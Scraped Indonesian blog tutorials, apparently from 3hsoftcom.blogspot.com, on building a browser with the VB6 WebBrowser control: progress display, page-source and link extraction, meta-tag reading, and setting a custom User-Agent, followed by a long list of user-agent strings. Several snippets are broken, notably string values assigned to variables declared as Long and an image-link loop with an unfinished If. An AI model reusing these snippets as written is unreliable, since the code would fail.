On Error Resume Next
If Progress = -1 Then ProgressBar1.Value = 100
Me.Caption = "100%"
If Progress > 0 And ProgressMax > 0 Then
ProgressBar1.Value = Progress * 100 / ProgressMax
Me.Caption = Int(Progress * 100 / ProgressMax) & "%"
End If
Exit Sub
End Sub

Mengontrol Checkbox Dalam Halaman Lain

Private Sub Form_Load()
WebBrowser1.Navigate "https://www.google.com/accounts/ManageAccount"
End Sub

Private Sub Check1_Click()
If Check1.Value = 0 Then
WebBrowser1.Document.All.PersistentCookie.Checked = False 'unchecked
Else
WebBrowser1.Document.All.PersistentCookie.Checked = True 'checked
End If
End Sub

Mendapatkan Sourcecode Halaman

Dim pageSource As String
pageSource = webBrowser.document.body.parentElement.innerHTML

Mengambil Link Gambar

Dim pageImageLinks As Collection
Dim pageLinks As Object
pageLinks = webBrowser.document.getElementsByTagName("a")
Dim link As Object
Dim linkChildren As Object
For Each link In pageLinks
linkChildren = link.getElementsByTagName("img")
If (linkChildren.Count) _
pageImageLinks.Add(link)
Next

Mengecek Attribut

Dim favicon As String
Dim description As String
Dim links As HTMLElementCollection
Dim metas As HTMLElementCollection

Set links = wbrBrowser.Document.GetElementsByTagName("link")
Set metas = wbrBrowser.Document.GetElementsByTagName("meta")

Dim link As HTMLLinkElement
For Each link In links
If (InStr(link.GetAttribute("rel"), "icon") Then
favicon = link.GetAttribute("href")
Exit For
End If
Next

Dim meta As HTMLMetaElement
For Each meta In metas
If (meta.HasAttribute("description")) Then
description = meta.GetAttribute("content")
Exit For
End If
Next

Nah...banyak sekali..kan fungsi - fungsi yang bisa sobat praktekkan. Semoga dengan tutorial ini sobat mampu membuat sendiri Browser yang powerfull. Silakan dicoba

»»  READMORE...

Cara Mengganti User Agent Pada Control WebBrowser VB6 Read more: http://3hsoftcom.blogspot.com/2011/05/cara-mengganti-user-agent-pada-control.html#ixzz1rK8tG9Es 3hsoftcom.blogspot.com

Seperti yang kita ketahui bahwa untuk membuat browser sendiri di Visual Basic 6 kita memerlukan control WebBrowser bawaan dari Internet Explorer. Control ini adalah control satu - satunya yang diperlukan dalam pembuatan project browser. Sebenarnya masih ada lagi control WebBrowser plugin bawaan Mozilla, tapi agak susah dalam codingnya.

Script utama dalam berselancar ke web tujuan dengan menggunakan control WebBrowser adalah sebagai berikut :

WebBrowser1.Navigate "http://situs tujuan"

Fungsi diatas akan mengirimkan parameter default user agent bawaan Internet Explorer sobat. Nah, bagaimanakah caranya untuk mengganti User Agent ke User Agent setingan kita sendiri. Caranya sangat mudah, lihat coding berikut ini :

WebBrowser1.Navigate "http://situs tujuan", , , , "User-Agent:Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413"

Script diatas adalah untuk menuju ke situs tujuan dengan mengirimkan parameter sebagai Handphone Nokia. Untuk User Agent yang lain silakan masukkan parameter sesuai dengan keinginan.

Tips :

Untuk mempermudah coding dan mudah untu bergonta - ganti User Agent, atur coding agar simple dengan mendeklarasikan sebuah nilai.

Contoh :

Private Sub CMDGO_Click()

Dim URL As Long, AGEN As Long

URL = CBOURL.Text

AGEN = CBOAGEN.Text

WebBrowser1.Navigate URL, , , , AGEN

End Sub

Berikut daftar User Agent yang bisa sobat masukkan dalam control combobox CBOURL

User Agen

Agen
User-Agent:Avant Browser/1.2.789rel1 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre
User-Agent:Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre
User-Agent:Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0 )
User-Agent:Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)
User-Agent:Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a
User-Agent:Mozilla/4.8 [en] (Windows NT 5.1; U)
User-Agent:Mozilla/5.0 (iPod; U; CPU iPhone OS 3_1_1 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Mobile/7C145
User-Agent:Opera/7.50 (Windows XP; U)
User-Agent:Mozilla/4.0 (compatible; MSIE 5.0; Series80/2.0 Nokia9500/4.51 Profile/MIDP-2.0 Configuration/CLDC-1.1)
User-Agent:Opera/7.51 (Windows NT 5.1; U) [en]
User-Agent:Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021001 Phoenix/0.2
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6 (Change: )
User-Agent:Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413
User-Agent:Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95/10.0.018; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413 UP.Link/6.3.0.0.0
User-Agent:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)
User-Agent:Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
User-Agent:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
User-Agent:Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
User-Agent:Opera/9.25 (Windows NT 6.0; U; en)
User-Agent:Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.39 Version/11.00
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
User-Agent:Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.302.2 Safari/532.8
User-Agent:Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3
User-Agent:Mozilla/5.0 (Macintosh; U; Mac OS X Mach-O; en-US; rv:2.0a) Gecko/20040614 Firefox/3.0.0+
User-Agent:Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.15
User-Agent:Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/85.8
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Camino/2.2.1
User-Agent:Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
User-Agent:Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0.112941
User-Agent:Opera/9.64 (Macintosh; PPC Mac OS X; U; en) Presto/2.1.1
User-Agent:Mozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) lt-GtkLauncher
User-Agent:Mozilla/5.0 (Unknown; U; UNIX BSD/SYSV system; C -) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.10.2
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
User-Agent:Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
User-Agent:Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.39 Version/11.00

Nah sekarang silakan coba dan selamat berkarya

»»  READMORE...